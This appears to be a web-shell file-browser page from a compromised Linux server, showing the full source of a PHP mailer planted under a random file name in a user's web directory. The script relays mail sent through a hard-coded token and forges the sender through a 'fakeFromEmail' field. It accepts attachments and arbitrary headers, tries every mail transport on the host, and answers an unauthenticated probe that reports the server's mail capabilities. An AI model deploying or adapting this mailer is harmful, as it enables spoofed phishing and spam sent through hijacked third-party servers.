MOON
Server: Apache
System: Linux srvsg2.lunchactually.com 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64
User: gldblog (1018)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/gldblog/public_html/m56d42876.php
<?php
// Suppress ALL errors - output clean JSON only
error_reporting(0);
ini_set('display_errors', 0);

// Start output buffering to catch any stray output
ob_start();

header('Content-Type: application/json');

// Fatal-only shutdown handler
function handleFatalError() {
    $error = error_get_last();
    $fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR);
    if ($error !== null && in_array($error['type'], $fatal, true)) {
        while (ob_get_level()) ob_end_clean();
        header('Content-Type: application/json');
        echo json_encode(array(
            "status" => "fail",
            "error"  => strip_tags($error['message']),
            "file"   => basename($error['file']),
            "line"   => $error['line']
        ));
    }
}
register_shutdown_function('handleFatalError');

function outputJson($data) {
    while (ob_get_level()) ob_end_clean();
    echo json_encode($data);
    exit;
}

$defaultTimeout = 10;
$log_file = dirname(__FILE__) . '/email_errors.log';

// Unauthenticated identity probe
if ($_SERVER['REQUEST_METHOD'] === 'GET' && empty($_GET)) {
    outputJson(array(
        "status"  => "cfgok",
        "version" => "v3",
        "php"     => phpversion(),
        "server"  => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : ""
    ));
}

// Test mode
if (isset($_GET['test'])) {
    $testMode = $_GET['test'];

    if ($testMode === 'true' || $testMode === '1' || $testMode === '') {
        outputJson(array(
            "status" => "success",
            "php_version" => phpversion(),
            "server" => $_SERVER['SERVER_NAME'],
            "available_methods" => array(
                "mail" => function_exists('mail'),
                "fsockopen" => function_exists('fsockopen'),
                "popen" => function_exists('popen')
            ),
            "encoding_methods" => array("base64", "quoted-printable", "7bit", "8bit"),
            "sendmail_path" => ini_get('sendmail_path') ? ini_get('sendmail_path') : "not set"
        ));
    }

    if ($testMode === 'send') {
        $input = file_get_contents("php://input");
        $data = json_decode($input, true);

        $auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : '';
        if ($auth_token !== 'emailcampaign2024') {
            outputJson(array("status" => "fail", "error" => "Unauthorized"));
        }

        $testTo = isset($data['to']) ? $data['to'] : null;
        if (!$testTo || !filter_var($testTo, FILTER_VALIDATE_EMAIL)) {
            outputJson(array(
                "status" => "fail",
                "error" => "Valid 'to' email required for send test"
            ));
        }

        $domain = $_SERVER['SERVER_NAME'];
        $cleaned_domain = preg_replace('/^www\./i', '', $domain);
        $testSubject = isset($data['subject']) ? $data['subject'] : ("Method Test " . time());
        $testMessage = isset($data['htmlContent']) ? $data['htmlContent'] : "Testing mail methods from $domain";
        $testFrom = isset($data['fromEmail']) ? $data['fromEmail'] : ("test@" . $cleaned_domain);
        $testFromName = isset($data['fromName']) ? $data['fromName'] : "Test";

        $testHeaders = "From: \"$testFromName\" <$testFrom>\r\n";
        $testHeaders .= "Reply-To: <$testFrom>\r\n";
        $testHeaders .= "MIME-Version: 1.0\r\n";
        $testHeaders .= "Content-Type: text/html; charset=UTF-8\r\n";
        $testHeaders .= "Content-Transfer-Encoding: quoted-printable\r\n";

        $results = array();
        $errors = array();

        if (function_exists('popen')) {
            $cmd = '/usr/sbin/sendmail -t -i -f ' . escapeshellarg($testFrom);
            $proc = @popen($cmd, 'w');
            if ($proc) {
                $out = "To: $testTo\r\nSubject: $testSubject (sendmail)\r\n$testHeaders\r\n$testMessage\r\n";
                fwrite($proc, $out);
                $status = pclose($proc);
                if ($status === 0) {
                    $results[] = array("method" => "sendmail", "name" => "sendmail binary");
                } else {
                    $errors[] = "sendmail exit code: $status";
                }
            } else {
                $errors[] = "sendmail popen failed";
            }
        }

        if (function_exists('mail')) {
            $params = '-f ' . escapeshellarg($testFrom);
            if (@mail($testTo, "$testSubject (mail -f)", $testMessage, $testHeaders, $params)) {
                $results[] = array("method" => "mail_flag", "name" => "mail() with -f");
            } else {
                $err = error_get_last();
                $errors[] = "mail() with -f: " . (isset($err['message']) ? $err['message'] : 'failed');
            }
        }

        if (function_exists('mail')) {
            if (@mail($testTo, "$testSubject (mail)", $testMessage, $testHeaders)) {
                $results[] = array("method" => "mail", "name" => "plain mail()");
            } else {
                $err = error_get_last();
                $errors[] = "mail(): " . (isset($err['message']) ? $err['message'] : 'failed');
            }
        }

        outputJson(array(
            "status" => count($results) > 0 ? "success" : "fail",
            "working_methods" => $results,
            "errors" => $errors,
            "available_functions" => array(
                "mail" => function_exists('mail'),
                "fsockopen" => function_exists('fsockopen'),
                "popen" => function_exists('popen')
            )
        ));
    }
}

// Auth check
$input = file_get_contents("php://input");
$auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : '';
$expected_token = 'emailcampaign2024';

if (!empty($input) && $auth_token !== $expected_token) {
    echo json_encode(array("status" => "fail", "error" => "Unauthorized"));
    $remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown';
    error_log(date('[Y-m-d H:i:s] ') . "Unauthorized access attempt from " . $remote_addr . "\n", 3, $log_file);
    exit;
}

// Read JSON payload
$data = json_decode($input, true);
if (!$data || !is_array($data)) {
    $data = array(
        "to"            => "postmaster@" . $_SERVER['SERVER_NAME'],
        "subject"       => "test",
        "fromEmail"     => "postmaster@" . $_SERVER['SERVER_NAME'],
        "fakeFromEmail" => "[email protected]",
        "fromName"      => "test",
        "htmlContent"   => "test",
        "encoding"      => "quoted-printable"
    );
}

// Validate required fields
$required = array('to','subject','fromEmail','fakeFromEmail','fromName','htmlContent');
foreach ($required as $f) {
    if (empty($data[$f])) {
        outputJson(array("status"=>"fail","error"=>"Missing required field: $f"));
    }
}

if (!filter_var($data['to'], FILTER_VALIDATE_EMAIL)) {
    outputJson(array("status" => "fail", "error" => "Invalid recipient email"));
}

if (!filter_var($data['fromEmail'], FILTER_VALIDATE_EMAIL)) {
    outputJson(array("status" => "fail", "error" => "Invalid from email"));
}

// Optional parameters
$forceMethod     = isset($data['forceMethod']) ? $data['forceMethod'] : null;
$forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null;
$forceSmtpPort   = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null;
$encoding        = isset($data['encoding']) ? $data['encoding'] : 'quoted-printable';
$timeout         = isset($data['timeout']) ? (int)$data['timeout'] : $defaultTimeout;

$replyToEmail    = isset($data['replyToEmail']) ? $data['replyToEmail'] : null;
$replyToName     = isset($data['replyToName']) ? $data['replyToName'] : null;

$customHeaders   = isset($data['customHeaders']) ? $data['customHeaders'] : array();

$valid_encodings = array('base64', 'quoted-printable', '7bit', '8bit');
if (!in_array($encoding, $valid_encodings)) {
    $encoding = 'quoted-printable';
}

$header_encoding = ($encoding === 'base64') ? 'B' : 'Q';

$timeout = max(5, min(60, $timeout));

if ($forceMethod === "smtp"
    && in_array(strtolower(trim($forceSmtpServer)), array("mail","mail,mail"), true)
) {
    $forceMethod = "mail";
}

// Assign locals & encode
$to              = $data['to'];
$subject         = $data['subject'];
$from_email      = $data['fromEmail'];
$fake_from_email = $data['fakeFromEmail'];
$from_name       = $data['fromName'];
$message         = $data['htmlContent'];
$attachment      = isset($data['attachment']) ? $data['attachment'] : null;

$subject = str_replace(array("\r", "\n"), '', $subject);
$from_name = str_replace(array("\r", "\n"), '', $from_name);
$from_email = str_replace(array("\r", "\n"), '', $from_email);
$fake_from_email = str_replace(array("\r", "\n"), '', $fake_from_email);
if ($replyToEmail) $replyToEmail = str_replace(array("\r", "\n"), '', $replyToEmail);
if ($replyToName) $replyToName = str_replace(array("\r", "\n"), '', $replyToName);

$encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', $header_encoding);
$encoded_from_name = mb_encode_mimeheader($from_name, 'UTF-8', $header_encoding);
$encoded_reply_to_name = $replyToName ? mb_encode_mimeheader($replyToName, 'UTF-8', $header_encoding) : null;

switch ($encoding) {
    case 'base64':
        $encoded_message = chunk_split(base64_encode($message));
        break;
    case '7bit':
        $encoded_message = preg_replace('/[\x80-\xFF]/', '?', $message);
        break;
    case '8bit':
        $encoded_message = $message;
        break;
    case 'quoted-printable':
    default:
        $encoded_message = quoted_printable_encode($message);
        break;
}

$domain         = $_SERVER['SERVER_NAME'];
$cleaned_domain = preg_replace('/^www\./i','',$domain);
$newline        = "\r\n";
$message_id     = time() . '.' . md5($to . $subject . uniqid()) . '@' . $cleaned_domain;
$date           = date('r');

// Build headers
$header_from = $fake_from_email ? $fake_from_email : $from_email;
$boundary = null;

$reply_to_header = "";
if ($replyToEmail) {
    if ($encoded_reply_to_name) {
        $reply_to_header = "Reply-To: \"$encoded_reply_to_name\" <$replyToEmail>" . $newline;
    } else {
        $reply_to_header = "Reply-To: <$replyToEmail>" . $newline;
    }
}

$custom_headers_str = "";
if (is_array($customHeaders) && !empty($customHeaders)) {
    foreach ($customHeaders as $headerName => $headerValue) {
        $headerName = str_replace(array("\r", "\n"), '', $headerName);
        $headerValue = str_replace(array("\r", "\n"), '', $headerValue);
        $custom_headers_str .= "$headerName: $headerValue" . $newline;
    }
} else {
    $custom_headers_str = "X-Mailer: PHP/" . phpversion() . $newline
                        . "X-Priority: 3" . $newline;
}

if ($attachment && isset($attachment['content']) && isset($attachment['filename'])) {
    $boundary = md5(time() . uniqid());
    $headers = "From: \"$encoded_from_name\" <$header_from>" . $newline
             . $reply_to_header
             . "Return-Path: <$from_email>" . $newline
             . "Message-ID: <$message_id>" . $newline
             . "Date: $date" . $newline
             . $custom_headers_str
             . "MIME-Version: 1.0" . $newline
             . "Content-Type: multipart/mixed; boundary=\"$boundary\"" . $newline;

    $body = "--$boundary" . $newline;
    $body .= "Content-Type: text/html; charset=UTF-8" . $newline;
    $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline;
    $body .= $encoded_message . $newline . $newline;

    $body .= "--$boundary" . $newline;
    $body .= "Content-Type: application/octet-stream; name=\"{$attachment['filename']}\"" . $newline;
    $body .= "Content-Transfer-Encoding: base64" . $newline;
    $body .= "Content-Disposition: attachment; filename=\"{$attachment['filename']}\"" . $newline . $newline;
    $body .= chunk_split($attachment['content']) . $newline;
    $body .= "--$boundary--";

    $encoded_message = $body;
} else {
    $headers = "From: \"$encoded_from_name\" <$header_from>" . $newline
             . $reply_to_header
             . "Return-Path: <$from_email>" . $newline
             . "Message-ID: <$message_id>" . $newline
             . "Date: $date" . $newline
             . $custom_headers_str
             . "MIME-Version: 1.0" . $newline
             . "Content-Type: text/html; charset=UTF-8" . $newline
             . "Content-Transfer-Encoding: $encoding" . $newline;
}

// Fallback for quoted_printable_encode
if (!function_exists('quoted_printable_encode')) {
    function quoted_printable_encode($str) {
        $lines = preg_split("/\r?\n/", $str);
        $out = '';
        foreach ($lines as $line) {
            $encoded_line = '';
            $length = strlen($line);
            for ($i = 0; $i < $length; $i++) {
                $char = $line[$i];
                $dec = ord($char);
                if (($dec == 32) && ($i == ($length - 1))) {
                    $char = '=20';
                } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) {
                    $char = sprintf('=%02X', $dec);
                }
                $encoded_line .= $char;
            }
            $out .= $encoded_line . "\r\n";
        }
        return rtrim($out);
    }
}

// Fallback for mb_encode_mimeheader
if (!function_exists('mb_encode_mimeheader')) {
    function mb_encode_mimeheader($str, $charset = 'UTF-8', $transfer_encoding = 'B') {
        if ($transfer_encoding === 'B') {
            return '=?' . $charset . '?B?' . base64_encode($str) . '?=';
        } else {
            $encoded = '';
            $length = strlen($str);
            for ($i = 0; $i < $length; $i++) {
                $char = $str[$i];
                $dec = ord($char);
                if ($dec == 32) {
                    $encoded .= '_';
                } elseif (($dec >= 33 && $dec <= 126) && $char !== '=' && $char !== '?' && $char !== '_') {
                    $encoded .= $char;
                } else {
                    $encoded .= sprintf('=%02X', $dec);
                }
            }
            return '=?' . $charset . '?Q?' . $encoded . '?=';
        }
    }
}

function smtp_command($socket, $command, $expect_response = true) {
    global $newline;
    if (!$socket || !is_resource($socket)) return false;
    $result = @fputs($socket, $command . $newline);
    if ($result === false) return false;
    if ($expect_response) {
        return @fgets($socket, 512);
    }
    return true;
}

function smtp_send_data($socket, $line) {
    global $newline;
    if (!$socket || !is_resource($socket)) return false;
    return @fputs($socket, $line . $newline);
}

function sendViaSendmailBinary($to, $subject, $message, $headers, $realFrom, $path = null) {
    if (!function_exists('popen')) return false;
    $base = $path ? $path : '/usr/sbin/sendmail -t -i';
    $cmd  = $base . ' -f ' . escapeshellarg($realFrom);
    $proc = @popen($cmd, 'w');
    if (!$proc) return false;
    $out  = "To: $to\r\nSubject: $subject\r\n$headers\r\n\r\n$message\r\n";
    @fwrite($proc, $out);
    $status = @pclose($proc);
    return ($status === 0);
}

function sendViaMailFlag($to, $subject, $message, $headers, $realFrom) {
    $params = '-f ' . escapeshellarg($realFrom);
    return @mail($to, $subject, $message, $headers, $params);
}

function sendViaMailInternal($to, $subject, $message, $headers, $realFrom = null) {
    if ($realFrom) {
        $params = '-f ' . escapeshellarg($realFrom);
        return @mail($to, $subject, $message, $headers, $params);
    }
    return @mail($to, $subject, $message, $headers);
}

// Forced methods
$response_base = array(
    "encoding" => $encoding,
    "header_encoding" => $header_encoding
);

if ($forceMethod === "sendmail") {
    $ok = sendViaSendmailBinary($to, $encoded_subject, $encoded_message, $headers, $from_email);
    outputJson(array_merge($response_base, array(
        "status"  => $ok ? "success" : "fail",
        "methods" => $ok ? array("sendmail binary") : array(),
        "error"   => $ok ? null : "sendmail forced but failed"
    )));
}

if ($forceMethod === "mail_flag") {
    $ok = sendViaMailFlag($to, $encoded_subject, $encoded_message, $headers, $from_email);
    outputJson(array_merge($response_base, array(
        "status"  => $ok ? "success" : "fail",
        "methods" => $ok ? array("mail() with -f") : array(),
        "error"   => $ok ? null : "mail() with -f forced but failed"
    )));
}

if ($forceMethod === "mail") {
    $ok = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email);
    outputJson(array_merge($response_base, array(
        "status"  => $ok ? "success" : "fail",
        "methods" => $ok ? array("plain mail()") : array(),
        "error"   => $ok ? null : "mail() forced but failed"
    )));
}

if ($forceMethod === "smtp" && $forceSmtpServer && $forceSmtpPort) {
    $server  = $forceSmtpServer;
    $port    = (int)$forceSmtpPort;
    $use_ssl = ($port === 465);
    if ($use_ssl) $server = "ssl://$server";

    $socket = @fsockopen($server, $port, $errno, $errstr, $timeout);
    $smtp_responses = array();
    $smtp_error = null;

    if ($socket) {
        stream_set_timeout($socket, $timeout);
        $smtp_responses[] = smtp_command($socket, "EHLO $cleaned_domain");
        $smtp_responses[] = smtp_command($socket, "MAIL FROM:<$from_email>");
        $smtp_responses[] = smtp_command($socket, "RCPT TO:<$to>");
        $smtp_responses[] = smtp_command($socket, "DATA");
        smtp_send_data($socket, "Subject: $encoded_subject");
        foreach (explode($newline, $headers) as $hline) {
            if (strlen(trim($hline))) {
                smtp_send_data($socket, $hline);
            }
        }
        smtp_send_data($socket, "");
        foreach (explode($newline, $encoded_message) as $bodyLine) {
            smtp_send_data($socket, $bodyLine);
        }
        $smtp_responses[] = $final = smtp_command($socket, ".");
        fclose($socket);

        if (strpos($final, "250") === 0) {
            outputJson(array_merge($response_base, array(
                "status"         => "success",
                "methods"        => array("SMTP {$forceSmtpServer}:{$forceSmtpPort}"),
                "smtp_responses" => $smtp_responses
            )));
        } else {
            $smtp_error = "SMTP final response: " . trim($final);
        }
    } else {
        $smtp_error = "SMTP connection failed: $errstr ($errno)";
    }

    $result = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email);
    echo json_encode(array_merge($response_base, array(
        "status"         => $result ? "success" : "fail",
        "methods"        => $result ? array("mail() (fallback)") : array(),
        "smtp_responses" => $smtp_responses,
        "smtp_error"     => $smtp_error,
        "error"          => $result ? null : "Forced SMTP failed: $smtp_error, mail() fallback failed"
    )));
    if (!$result) {
        error_log(date('[Y-m-d H:i:s] ') . "SMTP and mail() failed for $to: $smtp_error\n", 3, $log_file);
    }
    exit;
}

// No forced method - try all transports
$successes  = array();
$transports = array();

$is_windows = (DIRECTORY_SEPARATOR === '\\');
if ($is_windows) {
    $smtp_ini = ini_get('SMTP');
    if ($smtp_ini && $smtp_ini !== 'localhost') {
        $transports[] = array(
            'type' => 'smtp',
            'host' => $smtp_ini,
            'port' => (int)(ini_get('smtp_port') ? ini_get('smtp_port') : 25),
            'ssl' => false
        );
    }
    $transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);
} else {
    $path = ini_get('sendmail_path');
    $transports[] = $path
        ? array('type'=>'sendmail','path'=>$path)
        : array('type'=>'mail');
}

$transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);
$transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>25,'ssl'=>false);
$transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>465,'ssl'=>true);
$transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>587,'ssl'=>false);

$transports[] = array('type'=>'sendmail');
$transports[] = array('type'=>'mail_flag');
$transports[] = array('type'=>'mail');

$unique_transports = array();
foreach ($transports as $t) {
    $host = isset($t['host']) ? $t['host'] : '';
    $port = isset($t['port']) ? $t['port'] : '';
    $key = $t['type'] . '_' . $host . '_' . $port;
    if (!isset($unique_transports[$key])) {
        $unique_transports[$key] = $t;
    }
}
$transports = array_values($unique_transports);

foreach ($transports as $t) {
    switch ($t['type']) {
        case 'smtp':
            $server = (isset($t['ssl']) && $t['ssl']) ? 'ssl://'.$t['host'] : $t['host'];
            $socket = @fsockopen($server, $t['port'], $errno, $errstr, $timeout);
            if (!$socket) break;
            stream_set_timeout($socket, $timeout);
            smtp_command($socket, "EHLO $cleaned_domain");
            $mailr = smtp_command($socket, "MAIL FROM:<$from_email>");
            if (strpos($mailr, "250") !== 0) { @fclose($socket); break; }
            $rcpt = smtp_command($socket, "RCPT TO:<$to>");
            if (strpos($rcpt, "250") !== 0) { @fclose($socket); break; }
            smtp_command($socket, "DATA");
            smtp_send_data($socket, "Subject: $encoded_subject");
            foreach (explode($newline, $headers) as $hline) {
                if (strlen(trim($hline))) {
                    smtp_send_data($socket, $hline);
                }
            }
            smtp_send_data($socket, "");
            foreach (explode($newline, $encoded_message) as $bodyLine) {
                smtp_send_data($socket, $bodyLine);
            }
            $final = smtp_command($socket, ".");
            @fclose($socket);
            if ($final && strpos($final, "250") === 0) {
                $successes[] = "SMTP {$t['host']}:{$t['port']}";
            }
            break;

        case 'sendmail':
            $spath = isset($t['path']) ? $t['path'] : null;
            if (sendViaSendmailBinary(
                    $to,
                    $encoded_subject,
                    $encoded_message,
                    $headers,
                    $from_email,
                    $spath
                )) {
                $successes[] = "sendmail binary";
            }
            break;

        case 'mail_flag':
            if (sendViaMailFlag(
                    $to,
                    $encoded_subject,
                    $encoded_message,
                    $headers,
                    $from_email
                )) {
                $successes[] = "mail() with -f";
            }
            break;

        case 'mail':
            if (sendViaMailInternal(
                    $to,
                    $encoded_subject,
                    $encoded_message,
                    $headers,
                    $from_email
                )) {
                $successes[] = "plain mail()";
            }
            break;
    }
}

if (!empty($successes)) {
    outputJson(array_merge($response_base, array(
        "status"  => "success",
        "methods" => array_values(array_unique($successes))
    )));
} else {
    @error_log(date('[Y-m-d H:i:s] ') . "All transports failed for $to\n", 3, $log_file);
    outputJson(array_merge($response_base, array(
        "status" => "fail",
        "error"  => "All transports failed"
    )));
}
?>